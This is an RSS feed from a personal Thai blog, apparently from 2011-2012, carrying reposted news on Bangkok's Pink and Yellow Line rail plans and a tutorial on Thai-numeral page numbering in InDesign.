<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>นพ ภิญโญวาณิชกะ</title>
	<atom:link href="http://www.nop.in.th/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nop.in.th</link>
	<description>Nop Pinyowanichaka &#124; ก้าวสั้นๆ ในวันเบาๆ ของผม</description>
	<lastBuildDate>Thu, 19 Apr 2012 00:58:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>รฟม.ลัดคิว&#8217;สายสีชมพู&#8217;ประมูลสิ้นปีระบบโมโนเรล5หมื่นล.เพิ่ม6สถานีบูมห้าง-คอนโด</title>
		<link>http://www.nop.in.th/chit-chat/follow-mrt-pink-line/%e0%b8%a3%e0%b8%9f%e0%b8%a1-%e0%b8%a5%e0%b8%b1%e0%b8%94%e0%b8%84%e0%b8%b4%e0%b8%a7%e0%b8%aa%e0%b8%b2%e0%b8%a2%e0%b8%aa%e0%b8%b5%e0%b8%8a%e0%b8%a1%e0%b8%9e%e0%b8%b9%e0%b8%9b%e0%b8%a3%e0%b8%b0/</link>
		<comments>http://www.nop.in.th/chit-chat/follow-mrt-pink-line/%e0%b8%a3%e0%b8%9f%e0%b8%a1-%e0%b8%a5%e0%b8%b1%e0%b8%94%e0%b8%84%e0%b8%b4%e0%b8%a7%e0%b8%aa%e0%b8%b2%e0%b8%a2%e0%b8%aa%e0%b8%b5%e0%b8%8a%e0%b8%a1%e0%b8%9e%e0%b8%b9%e0%b8%9b%e0%b8%a3%e0%b8%b0/#comments</comments>
		<pubDate>Thu, 19 Apr 2012 00:57:43 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[ตามติดรถไฟฟ้าสายสีชมพู]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=913</guid>
		<description><![CDATA[รฟม.ปรับแผนรถไฟฟ้าสายสีชมพู &#8220;แคราย-มีนบุรี&#8221; ใหม่ เป็นระบบโมโนเรล ระยะทางรวม 34.5 กิโลเมตร ผุดสถานีใหม่ 6 แห่ง รับศูนย์การค้า-คอนโดมิเนียมบนถนนแจ้งวัฒนะ-รามอินทราบูม ขยายจุดเวนคืนที่ดินเพิ่ม ช่วงโค้งย่านแคราย ห้าแยกปากเกร็ด ตลาดมีนบุรี ดันมูลค่าลงทุนโครงการเฉียด 5 หมื่นล้านเตรียมเปิดประมูลในปีนี้รูปแบบเทิร์นคีย์ คาดใช้เวลาสร้าง 4 ปี เปิดบริการในปี&#8217;60 เก็บค่าโดยสาร 20 บาทตลอดสาย สนองนโยบายหาเสียงรัฐบาลยิ่งลักษณ์ แหล่งข่าวจากการรถไฟฟ้าขนส่งมวลชนแห่งประเทศไทย (รฟม.) เปิดเผย &#8220;ประชาชาติธุรกิจ&#8221; ว่า ได้บริษัทที่ปรึกษา บจ.ทีม คอนซัลติ้ง เอนจิเนียริ่ง แอนด์ แมเนจเมนท์ วงเงิน 34 ล้านบาท ทบทวนรูปแบบโครงการรถไฟฟ้าสายสีชมพู (แคราย-มีนบุรี) ระยะทาง 34.5 กิโลเมตร จากผลการศึกษาเดิมของสำนักงานนโยบายและแผนการขนส่งและจราจร (สนข.) ล่าสุดได้ข้อสรุปจะสร้างเป็นระบบโมโนเรล (รถไฟฟ้าขนาดเบา) ตามที่ สนข.ศึกษาไว้ เพราะก่อสร้างได้เร็ว ใช้เงินลงทุนไม่สูงมาก&#8221;แต่มูลค่าการลงทุนจะเพิ่มขึ้นจาก 42,067 ล้านบาท [...]]]></description>
			<content:encoded><![CDATA[<p>รฟม.ปรับแผนรถไฟฟ้าสายสีชมพู &#8220;แคราย-มีนบุรี&#8221; ใหม่ เป็นระบบโมโนเรล ระยะทางรวม 34.5 กิโลเมตร ผุดสถานีใหม่ 6 แห่ง รับศูนย์การค้า-คอนโดมิเนียมบนถนนแจ้งวัฒนะ-รามอินทราบูม ขยายจุดเวนคืนที่ดินเพิ่ม ช่วงโค้งย่านแคราย ห้าแยกปากเกร็ด ตลาดมีนบุรี ดันมูลค่าลงทุนโครงการเฉียด 5 หมื่นล้านเตรียมเปิดประมูลในปีนี้รูปแบบเทิร์นคีย์ คาดใช้เวลาสร้าง 4 ปี เปิดบริการในปี&#8217;60 เก็บค่าโดยสาร 20 บาทตลอดสาย สนองนโยบายหาเสียงรัฐบาลยิ่งลักษณ์</p>
<p>แหล่งข่าวจากการรถไฟฟ้าขนส่งมวลชนแห่งประเทศไทย (รฟม.) เปิดเผย &#8220;ประชาชาติธุรกิจ&#8221; ว่า ได้บริษัทที่ปรึกษา บจ.ทีม คอนซัลติ้ง เอนจิเนียริ่ง แอนด์ แมเนจเมนท์ วงเงิน 34 ล้านบาท ทบทวนรูปแบบโครงการรถไฟฟ้าสายสีชมพู (แคราย-มีนบุรี) ระยะทาง 34.5 กิโลเมตร จากผลการศึกษาเดิมของสำนักงานนโยบายและแผนการขนส่งและจราจร (สนข.) ล่าสุดได้ข้อสรุปจะสร้างเป็นระบบโมโนเรล (รถไฟฟ้าขนาดเบา) ตามที่ สนข.ศึกษาไว้ เพราะก่อสร้างได้เร็ว ใช้เงินลงทุนไม่สูงมาก&#8221;แต่มูลค่าการลงทุนจะเพิ่มขึ้นจาก 42,067 ล้านบาท เป็น 45,000-50,000 ล้านบาท เพราะเพิ่มสถานีใหม่ 6 แห่ง จาก 24 สถานี เป็น 30 สถานี โดยแทรกระหว่างสถานีที่อยู่ไกลกัน และปรับระยะห่าง 1.6 กิโลเมตร/สถานี เหลือ 1.2 กิโลเมตร/สถานี&#8221; เพิ่มใหม่ 6 สถานี</p>
<p><strong>โดยที่ตั้ง 6 สถานีใหม่ของรถไฟฟ้าสีชมพู ได้แก่</strong></p>
<ol>
<li>เยื้องศูนย์การค้าเซ็นทรัล แจ้งวัฒนะ</li>
<li>ระหว่างสถานีเมืองทองธานีกับสถานีศรีรัช ปากทางเข้าเมืองทองธานี</li>
<li>ระหว่างสถานีศูนย์ราชการกับสถานีหลักสี่ ใกล้การสื่อสารแห่งประเทศไทย (กสท.) และศูนย์การค้าไอทีสแควร์หลักสี่</li>
<li>ระหว่างสถานีวงเวียนหลักสี่กับสถานีลาดปลาดเค้า อยู่กึ่งกลางรามอินทรา ซอย 3 และ 5 หน้าโครงการคอนโดมิเนียมแอล.พี.เอ็น. 5) ระหว่างสถานีเคหะรามอินทรากับสถานีวัชรพล บริเวณ กม.4 และ</li>
<li>ระหว่างสถานีนวมินทร์กับสถานีคันนายาว ใกล้ศูนย์การค้าแฟชั่นไอส์แลนด์</li>
</ol>
<p>ส่วน 24 สถานีเดิมประกอบด้วย สถานีศูนย์ราชการนนทบุรี แคราย สนามบินน้ำ สามัคคี ชลประทาน ปากเกร็ด เลี่ยงเมืองปากเกร็ด เมืองทองธานี ศรีรัช มงกุฎวัฒนะ ศูนย์ราชการกรุงเทพฯ หลักสี่ ราชภัฏพระนคร อนุสาวรีย์หลักสี่ ลาดปลาเค้า เคหะรามอินทรา วัชรพล นวมินทร์ คันนายาว สวนสยาม บางชัน เศรษฐบุตรบำเพ็ญ สีหบุรานุกิจ และมีนบุรี</p>
<p>ต้นทุนเวนคืนที่ดินพุ่ง &#8220;อีกทั้งเพิ่มงบฯเวนคืนจากเดิม 4,000 กว่าล้านบาท เพราะต้องเวนคืนเพิ่มในบางจุด ส่วนใหญ่เป็นช่วงทางโค้ง เช่น แคราย ห้าแยกปากเกร็ด มีนบุรี เป็นต้น และ ผลพ่วงจากการปรับราคาประเมินของ กรมธนารักษ์ที่จะประกาศใช้ราคาใหม่ของปีนี้ด้วย&#8221;</p>
<p>แหล่งข่าวกล่าวต่อว่า ขณะนี้นางสาวรัชนี ตรีพิพัฒน์กุล ประธานคณะกรรมการ (บอร์ด) รฟม. ให้เร่งปรับแผนก่อสร้างโครงการนี้ให้เสร็จโดยเร็ว และเปิดประมูลภายในปีนี้เพื่อผลักดันนโยบายของรัฐบาลก่อสร้างรถไฟฟ้า 10 สายให้ทันรัฐบาลชุดนี้ และสานต่อนโยบายหาเสียง 20 บาทตลอดสาย เพราะสายสีชมพูหลังสร้างเสร็จในปี 2560 จะเก็บค่าโดยสาร 20 บาทตลอดสาย ประมูลสิ้นปี-เร็วขึ้นจากแผน 2 ปี &#8220;ที่ปรึกษาจะสรุปผลศึกษาเสร็จเดือนเมษายนนี้ จากนั้นจะเตรียมทำเอกสารประกวดราคาและเวนคืนที่ดินประมาณตุลาคม-ธันวาคมนี้จะเปิดประมูลได้ ใช้เวลาสร้าง 4 ปี แล้วเสร็จและเปิด บริการปี 2560 เร็วขึ้น 2 ปี จากแผนแม่บทที่กำหนดในปี 2562 ปีแรกเปิดบริการ จะมีผู้โดยสารมาใช้บริการกว่า 3 แสนเที่ยวคน/วัน เพิ่มขึ้นจากผลการศึกษาเดิม 20% เพราะเก็บ 20 บาทตลอดสายจะทำให้คนมาใช้มากขึ้น&#8221;</p>
<p>แหล่งข่าวกล่าวและว่า ส่วนรูปแบบการลงทุนจะเป็นดีไซน์แอนด์บิวด์ คือ จะก่อสร้างและออกแบบไปพร้อมกัน ซึ่งวิธีการนี้จะคล้ายกับการลงทุนแบบเทิร์นคีย์ (เบ็ดเสร็จ) โดยผู้รับเหมาก่อสร้าง คนออกแบบ และผู้ผลิตระบบรถไฟฟ้า จะเป็นเจ้าเดียวกันทั้งหมด เพื่อให้ง่ายในการก่อสร้างและบริหารจัดการเดินรถ อีกทั้งผู้ผลิตรถโมโนเรลในตลาดจะมีไม่กี่รายเท่านั้น โดยเอกชนที่สนใจจะเสนอการลงทุนมาเป็นแพ็กเกจเดียวกันทั้งโครงการ นอกจากนี้ทางประธานบอร์ดยังได้เร่งรัดให้ รฟม.ดำเนินการออกแบบรายละเอียดรถไฟฟ้าสายสีส้ม (ตลิ่งชัน-มีนบุรี) ให้เสร็จและเปิดประกวดราคาในปีนี้ โดยให้เริ่มดำเนินการก่อสร้างช่วงศูนย์วัฒนธรรมเชื่อมกับรถไฟฟ้าใต้ดินเดิมไปยังมีนบุรีเพื่อต่อเชื่อมกับสายสีชมพูก่อน</p>
<p>สำหรับแนวเส้นทางจุดเริ่มต้นจะใกล้ทางแยกแคราย จุดเชื่อมรถไฟฟ้าสายสีม่วง (บางซื่อ-บางใหญ่) หน้าศูนย์ราชการ จ.นนทบุรี วิ่งไปตามแนวถนนติวานนท์ เลี้ยวเข้าถนนแจ้งวัฒนะบริเวณห้าแยกปากเกร็ดผ่านเมืองทองธานี ศูนย์ราชการแห่งใหม่ แยกหลักสี่จะเชื่อมรถไฟสายสีแดง(บางซื่อ-รังสิต)วิ่งไปตามเกาะกลางถนนแจ้งวัฒนะผ่านมหาวิทยลัยราชภัฏพระนคร ไปเชื่อมรถไฟฟ้าสายสีเขียว(หมอชิตสะพานใหม่) ที่วงเวียนอนุสาวรีย์หลักสี่ วิ่งไปตามถนนรามอินทราถึงแยกมีนบุรีเลี้ยวเข้าเมืองมีนบุรีไปตามแนวถนนสีหบุรานุกิจ ผ่านคลองสามวา คลองแสนแสบ ถนนรามคำแหง สิ้นสุดที่ตลาดมีนบุรีใกล้แยกถนนรามคำแหง-ร่มเกล้า จะเชื่อมต่อรถไฟฟ้าสายสีส้ม</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/chit-chat/follow-mrt-pink-line/%e0%b8%a3%e0%b8%9f%e0%b8%a1-%e0%b8%a5%e0%b8%b1%e0%b8%94%e0%b8%84%e0%b8%b4%e0%b8%a7%e0%b8%aa%e0%b8%b2%e0%b8%a2%e0%b8%aa%e0%b8%b5%e0%b8%8a%e0%b8%a1%e0%b8%9e%e0%b8%b9%e0%b8%9b%e0%b8%a3%e0%b8%b0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>การใส่เลขหน้าภาษาไทย ใน In Design</title>
		<link>http://www.nop.in.th/me-myself-and-it/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%83%e0%b8%aa%e0%b9%88%e0%b9%80%e0%b8%a5%e0%b8%82%e0%b8%ab%e0%b8%99%e0%b9%89%e0%b8%b2%e0%b8%a0%e0%b8%b2%e0%b8%a9%e0%b8%b2%e0%b9%84%e0%b8%97%e0%b8%a2-%e0%b9%83%e0%b8%99/</link>
		<comments>http://www.nop.in.th/me-myself-and-it/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%83%e0%b8%aa%e0%b9%88%e0%b9%80%e0%b8%a5%e0%b8%82%e0%b8%ab%e0%b8%99%e0%b9%89%e0%b8%b2%e0%b8%a0%e0%b8%b2%e0%b8%a9%e0%b8%b2%e0%b9%84%e0%b8%97%e0%b8%a2-%e0%b9%83%e0%b8%99/#comments</comments>
		<pubDate>Fri, 09 Mar 2012 08:19:28 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[Me Myself and IT]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=899</guid>
		<description><![CDATA[สำหรับ In Design เลขหน้าภาษาไทย มีความจำเป็นสำหรับบางเอกสาร ที่ต้องการความ Classic ของตัวเลขไทย จะได้เข้ากั๊น เข้ากัน การใส่เลขไทยก็ไม่อยากเพียงแต่ต้องหา Font ที่สนับสนุนการทำเลขไทยเท่านั้น สำหรับ Font ที่สนับสนุนการทำเลขไทยคือ TF Font ดาวน์โหลด TF Font set ได้ที่นี่ครับ เรามาิเริ่มการใส่เลขหน้าภาษาไทยให้กับ In Design กันดีกว่าครับ สร้างเอกสารใหม่ขึ้นมา โดยมีจำนวนหน้า สัก 3-4 หน้า Double Click ที่ A-Master  เพื่อเข้าสู่ Master Page จากนั้นให้ Click  Type Tool แล้ว นำไปลากวางในเอกสาร Master Page ดังภาพ &#160; จากนั้น เลือก Type&#62;Insert Special Character&#62;Markers&#62;Current Page Number [...]]]></description>
			<content:encoded><![CDATA[<p>สำหรับ In Design เลขหน้าภาษาไทย มีความจำเป็นสำหรับบางเอกสาร ที่ต้องการความ Classic ของตัวเลขไทย จะได้เข้ากั๊น เข้ากัน การใส่เลขไทยก็ไม่อยากเพียงแต่ต้องหา Font ที่สนับสนุนการทำเลขไทยเท่านั้น สำหรับ Font ที่สนับสนุนการทำเลขไทยคือ TF Font</p>
<p><a title="Download Font ตระกูล TF ได้ที่นี่ครับ" href="http://www.nop.in.th/wp-content/uploads/2012/03/TF-Font.zip" target="_blank">ดาวน์โหลด TF Font set ได้ที่นี่ครับ</a></p>
<p>เรามาิเริ่มการใส่เลขหน้าภาษาไทยให้กับ In Design กันดีกว่าครับ</p>
<ol>
<li>สร้างเอกสารใหม่ขึ้นมา โดยมีจำนวนหน้า สัก 3-4 หน้า</li>
<li>Double Click ที่ A-Master  เพื่อเข้าสู่ Master Page<a href="http://www.nop.in.th/wp-content/uploads/2012/03/page02.jpg"><img class="alignnone size-medium wp-image-901" title="page02" src="http://www.nop.in.th/wp-content/uploads/2012/03/page02-388x400.jpg" alt="" width="388" height="400" />
<p></a><a href="http://www.nop.in.th/wp-content/uploads/2012/03/page02.jpg"></a></li>
<p><span id="more-899"></span></p>
<li>จากนั้นให้ Click  Type Tool แล้ว นำไปลากวางในเอกสาร Master Page ดังภาพ<a href="http://www.nop.in.th/wp-content/uploads/2012/03/page03.jpg"><img class="alignnone size-medium wp-image-902" title="page03" src="http://www.nop.in.th/wp-content/uploads/2012/03/page03-388x400.jpg" alt="" width="388" height="400" /></a>
<p>&nbsp;</li>
<li>จากนั้น เลือก Type&gt;Insert Special Character&gt;Markers&gt;Current Page Number ดังภาพ<a href="http://www.nop.in.th/wp-content/uploads/2012/03/page04.jpg"><img class="alignnone size-medium wp-image-903" title="page04" src="http://www.nop.in.th/wp-content/uploads/2012/03/page04-388x400.jpg" alt="" width="388" height="400" /></a>
<p>&nbsp;</li>
<li> เมื่อทำการ Insert Current Page Number แล้วจะขึ้นเป็น ตัว A ซึ่งเราสามารถทำการ Format รูปแบบของมันได้ โดยเราจะ Set รูปแบบของตัวอักษรเป็นดังนี้ โดยใช้ Font TF Lanna และมีขนาด 48 pt จากนั้นคลิกที่ Option (ขวามือบนของ Character Windows ดังภาพ) เลือก OpenType&gt;Numerator ซึ่งตรงนี้จะทำให้ Font ที่รองรับตัวเลขไทย แสดงเป็นภาษาไทยได้</li>
<li>ตอนนี้เราได้เลขไทย 1 หน้าแล้ว เหลืออีกหน้านึง ให้กด Alt+Drag Mouse ซ้าย ลากไปด้านขวา ดังภาพ<a href="http://www.nop.in.th/wp-content/uploads/2012/03/page06.jpg"><img class="alignnone size-medium wp-image-904" title="page06" src="http://www.nop.in.th/wp-content/uploads/2012/03/page06-388x400.jpg" alt="" width="388" height="400" /></a>
<p>&nbsp;</li>
<li>กลับไปหน้าปกติ เพื่อดูความถูกต้อง โดยการคลิกที่ Page ใด Page นึง ดังภาพ<a href="http://www.nop.in.th/wp-content/uploads/2012/03/page07.jpg"><img class="alignnone size-medium wp-image-905" title="page07" src="http://www.nop.in.th/wp-content/uploads/2012/03/page07-388x400.jpg" alt="" width="388" height="400" /><br />
</a></li>
</ol>
<div>จะเห็นว่าขณะนี้ เลขหน้าใน In Design ก็เป็นเลขไทยแล้ว ^^</div>
<div>ลองทำกันดูครับ</div>
<div><strong>ขอขอบคุณข้อมูลจาก</strong><br />
<a href="http://seefool.exteen.com/20090429/indesigncs3">http://seefool.exteen.com/20090429/indesigncs3</a><br />
<a href="http://www.f0nt.com/forum/index.php?action=profile;u=1240">AMORN</a> ใน Rep นี้  <a href="http://www.f0nt.com/forum/index.php/topic,16959.msg1366905.html#msg1366905" target="_blank">http://www.f0nt.com/forum/index.php/topic,16959.msg1366905.html#msg1366905</a></div>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/me-myself-and-it/%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%83%e0%b8%aa%e0%b9%88%e0%b9%80%e0%b8%a5%e0%b8%82%e0%b8%ab%e0%b8%99%e0%b9%89%e0%b8%b2%e0%b8%a0%e0%b8%b2%e0%b8%a9%e0%b8%b2%e0%b9%84%e0%b8%97%e0%b8%a2-%e0%b9%83%e0%b8%99/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8220;คมนาคม&#8221;ให้สนข.ศึกษาปรับรูปแบบรถไฟฟ้าสายสีชมพู-สีเหลืองใหม่</title>
		<link>http://www.nop.in.th/chit-chat/follow-mrt-pink-line/%e0%b8%84%e0%b8%a1%e0%b8%99%e0%b8%b2%e0%b8%84%e0%b8%a1%e0%b9%83%e0%b8%ab%e0%b9%89%e0%b8%aa%e0%b8%99%e0%b8%82-%e0%b8%a8%e0%b8%b6%e0%b8%81%e0%b8%a9%e0%b8%b2%e0%b8%9b%e0%b8%a3%e0%b8%b1%e0%b8%9a/</link>
		<comments>http://www.nop.in.th/chit-chat/follow-mrt-pink-line/%e0%b8%84%e0%b8%a1%e0%b8%99%e0%b8%b2%e0%b8%84%e0%b8%a1%e0%b9%83%e0%b8%ab%e0%b9%89%e0%b8%aa%e0%b8%99%e0%b8%82-%e0%b8%a8%e0%b8%b6%e0%b8%81%e0%b8%a9%e0%b8%b2%e0%b8%9b%e0%b8%a3%e0%b8%b1%e0%b8%9a/#comments</comments>
		<pubDate>Wed, 05 Oct 2011 06:31:32 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[ตามติดรถไฟฟ้าสายสีชมพู]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=893</guid>
		<description><![CDATA[&#8220;รมว.คมนาคม&#8221; สั่ง สนข.ศึกษาปรับรูปแบบรถไฟฟ้าสายสีชมพู-สีเหลืองใหม่ จากโมโนเรลป็นเฮฟวี่เรลให้แล้วเสร็จภายใน 6 เดือน พร้อมยืนยันรถไฟฟ้า10 สายสามารถเซ็นสัญญาภายใน 4 ปี&#8230; เมื่อวันที่ 5 ต.ค. พล.อ.อ.สุกำพล สุวรรณทัต รัฐมนตรีว่าการกระทรวงคมนาคม เปิดเผยภายหลังเป็นประธานการประชุมแผนแม่บทการขนส่งทางรถไฟทั่วประเทศว่า ตนได้ให้นโยบายกับสำนักนโยบายและแผนการขนส่งและจราจร(สนข.)ให้ไปศึกษาและปรับแผนในการดำเนินการโครงการก่อสร้างรถไฟฟ้าสายสีชมพู เส้นทางแคราย-มีนบุรี ระยะทางกว่า 36 กม. และโครงการก่อสร้างรถไฟฟ้าสายสีเหลือง เส้นทางลาดพร้าว-สำโรง ระยะทาง 30.4 กม.ใหม่ จากเดิมที่มีรูปแบบรถไฟฟ้ารางเดี่ยว หรือ รถไฟฟ้าขนาดเบา โมโนเรล มาเป็นรถไฟฟ้าขนาดหนัก หรือเฮฟวี่เรล (รถไฟฟ้าในปัจจุบัน) ว่าจะสามารถดำเนินการได้หรือไม่ โดยให้ สนข.ไปศึกษาให้ได้ข้อสรุปภายใน 6 เดือน ทั้งเรื่องงบประมาณที่จะเพิ่มขึ้น ผลกระทบทางด้านสิ่งแวดล้อมด้วย รมว.คมนาคม กล่าวต่อว่า สาเหตุที่ต้องปรับรูปแบบการก่อสร้างจากโมโนเรลมาเป็นเฮฟวี่เรล เนื่องจากมองว่าในเส้นทางถนนแคราย-มีนบุรี และเส้นทางลาดพร้าว-สำโรงนั้น มีปริมาณประชาชนที่จะเดินทางสัญจรจำนวนมาก และเมื่อจะมีการก่อสร้างควรให้มีความคุ้มค่าต่อการลงทุน นอกจากนั้นในการศึกษา โดยเฉพาะรถไฟฟ้าสายสีเหลือง เส้นทางลาดพร้าว-สำโรงนั้น หากมีการเปลี่ยนรูปแบบแล้วการก่อสร้างจะเป็นใต้ดินหรือยกระดับบนดิน รูปแบบไหนจะเหมาะมากกว่ากัน พล.อ.อ.สุกำพล กล่าวว่า [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;รมว.คมนาคม&#8221; สั่ง สนข.ศึกษาปรับรูปแบบรถไฟฟ้าสายสีชมพู-สีเหลืองใหม่ จากโมโนเรลป็นเฮฟวี่เรลให้แล้วเสร็จภายใน 6 เดือน พร้อมยืนยันรถไฟฟ้า10 สายสามารถเซ็นสัญญาภายใน 4 ปี&#8230;</p>
<p>เมื่อวันที่ 5 ต.ค. พล.อ.อ.สุกำพล สุวรรณทัต รัฐมนตรีว่าการกระทรวงคมนาคม เปิดเผยภายหลังเป็นประธานการประชุมแผนแม่บทการขนส่งทางรถไฟทั่วประเทศว่า ตนได้ให้นโยบายกับสำนักนโยบายและแผนการขนส่งและจราจร(สนข.)ให้ไปศึกษาและปรับแผนในการดำเนินการโครงการก่อสร้างรถไฟฟ้าสายสีชมพู เส้นทางแคราย-มีนบุรี ระยะทางกว่า 36 กม. และโครงการก่อสร้างรถไฟฟ้าสายสีเหลือง เส้นทางลาดพร้าว-สำโรง ระยะทาง 30.4 กม.ใหม่ จากเดิมที่มีรูปแบบรถไฟฟ้ารางเดี่ยว หรือ รถไฟฟ้าขนาดเบา โมโนเรล มาเป็นรถไฟฟ้าขนาดหนัก หรือเฮฟวี่เรล (รถไฟฟ้าในปัจจุบัน) ว่าจะสามารถดำเนินการได้หรือไม่ โดยให้ สนข.ไปศึกษาให้ได้ข้อสรุปภายใน 6 เดือน ทั้งเรื่องงบประมาณที่จะเพิ่มขึ้น ผลกระทบทางด้านสิ่งแวดล้อมด้วย</p>
<p><span id="more-893"></span></p>
<p>รมว.คมนาคม กล่าวต่อว่า สาเหตุที่ต้องปรับรูปแบบการก่อสร้างจากโมโนเรลมาเป็นเฮฟวี่เรล เนื่องจากมองว่าในเส้นทางถนนแคราย-มีนบุรี และเส้นทางลาดพร้าว-สำโรงนั้น มีปริมาณประชาชนที่จะเดินทางสัญจรจำนวนมาก และเมื่อจะมีการก่อสร้างควรให้มีความคุ้มค่าต่อการลงทุน นอกจากนั้นในการศึกษา โดยเฉพาะรถไฟฟ้าสายสีเหลือง เส้นทางลาดพร้าว-สำโรงนั้น หากมีการเปลี่ยนรูปแบบแล้วการก่อสร้างจะเป็นใต้ดินหรือยกระดับบนดิน รูปแบบไหนจะเหมาะมากกว่ากัน</p>
<p>พล.อ.อ.สุกำพล กล่าวว่า การดำเนินการก่อสร้างในโครงการรถไฟฟ้า จำนวน 10 สายทาง ระยะทางรวมกว่า 464 กม.นั้น จะต้องมีการดำเนินการและลงนามในสัญญาก่อสร้างภายในระยะเวลา 4 ปี หลังจากนี้แน่นอน ส่วนการดำเนินการหลังจากนี้เส้นทางรถไฟฟ้าที่มีความจำเป็นเร่งด่วนที่จะดำเนินการเป็นลำดับต้นๆ คือ รถไฟฟ้าสายสีเขียวเข้ม เส้นทางแบริ่ง-สมุทรปราการ, รถไฟฟ้าสายสีเขียวอ่อน เส้นทางหมอชิต-สะพานใหม่ และหลังจากนั้นจะเป็นรถไฟฟ้าสายสีชมพูและสีเหลืองเป็นลำดับต่อไป</p>
<p>รมว.คมนาคม กล่าวอีกว่า การดำเนินโครงการรถไฟทางคู่ระยะแรก ระหว่างปี 2553-2557 ระยะทางรวม 767 กม. ซึ่งเป็นการก่อสร้างรางรถไฟขนาด 1 เมตร โดยสร้างรางคู่กับรางเดิมที่มีอยู่ คงให้ดำเนินการก่อสร้างต่อไป โดยปัจจุบันความคืบหน้าโครงการแล้วประมาณ 10% ส่วนโครงการระยะที่ 2 และ 3 ซึ่งจะเริ่มตั้งแต่ปี 2558 นั้น จะให้ก่อสร้างเป็นรถไฟทางคู่ขนาดรางมาตรฐาน 1.435 เมตรแทน เนื่องจากรางขนาดมาตรฐานจะสามารถรองรับได้ทั้งระบบรถไฟดีเซลสำหรับขนส่ง สินค้า และระบบรถไฟฟ้าความเร็วสูงสำหรับขนส่งผู้โดยสาร ซึ่งจะช่วยประหยัดงบประมาณ รวมทั้งยังช่วยรองรับการเชื่อมต่อเส้นทางรถไฟจากประเทศเพื่อนบ้าน โดยมอบหมายให้สำนักงานนโยบายและการขนส่งและจราจร (สนข.) ไปศึกษาความเป็นไปได้และให้สรุปภายใน 1 เดือน</p>
<p>สำหรับโครงการรถไฟทางคู่ระยะแรก ประกอบด้วย 5 โครงการ ได้แก่ 1.เส้นทางลพบุรี-นครสวรรค์-ปากน้ำโพ ระยะทาง 118 กม. 2.เส้นทางมาบกะเบา-ชุมทางถนนจิระ ระยะทาง 132 กม. 3.เส้นทางชุมทางถนนจิริ-ขอนแก่น ระยะทาง 185 กม. 4.เส้นทางนครปฐม-หัวหิน ระยะทาง 165 กม. และ 5.เส้นทางประจวบคีรีขันธ์-ชุมพร ระยะทาง 167 กม. ส่วนโครงการรถไฟทางคู่ระยะที่ 2 และ 3 รวมระยะทาง 2,272 กม. เช่น เส้นทางแก่งคอย-บัวใหญ่ ระยะทาง 220 กม. เส้นทางชุมทางถนนจิระ-อุบลราชธานี ระยะทาง 309 กม. เส้นทางปากน้ำโพ-ตะพานหิน ระยะทาง 69 กม. เส้นทางขอนแก่น-หนองคาย ระยะทาง 172 กม. เส้นทางหัวหิน-ประจวบคีรีขันธ์ ระยะทาง 89 กม. เส้นทางชุมพร-สุราษฎร์ธานี ระยะทาง 166 กม. เส้นทางตะพานหิน-เชียงใหม่ ระยะทาง 427 กม. เส้นทางสุราษฎร์ธานี-ปาดังเบซาร์ ระยะทาง 339 กม. เส้นทางคลองสิบเก้า-กบินทร์บุรี ระยะทาง 76 กม.</p>
<p>ข่าวจาก <a href="http://www.thairath.co.th/content/eco/207014" target="_blank">ไทยรัฐ</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/chit-chat/follow-mrt-pink-line/%e0%b8%84%e0%b8%a1%e0%b8%99%e0%b8%b2%e0%b8%84%e0%b8%a1%e0%b9%83%e0%b8%ab%e0%b9%89%e0%b8%aa%e0%b8%99%e0%b8%82-%e0%b8%a8%e0%b8%b6%e0%b8%81%e0%b8%a9%e0%b8%b2%e0%b8%9b%e0%b8%a3%e0%b8%b1%e0%b8%9a/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Plugin สำหรับ website Stats.in.th</title>
		<link>http://www.nop.in.th/me-myself-and-it/wordpress-plugin-%e0%b8%aa%e0%b8%b3%e0%b8%ab%e0%b8%a3%e0%b8%b1%e0%b8%9a-website-stats-in-th/</link>
		<comments>http://www.nop.in.th/me-myself-and-it/wordpress-plugin-%e0%b8%aa%e0%b8%b3%e0%b8%ab%e0%b8%a3%e0%b8%b1%e0%b8%9a-website-stats-in-th/#comments</comments>
		<pubDate>Fri, 19 Aug 2011 02:38:47 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[Me Myself and IT]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=869</guid>
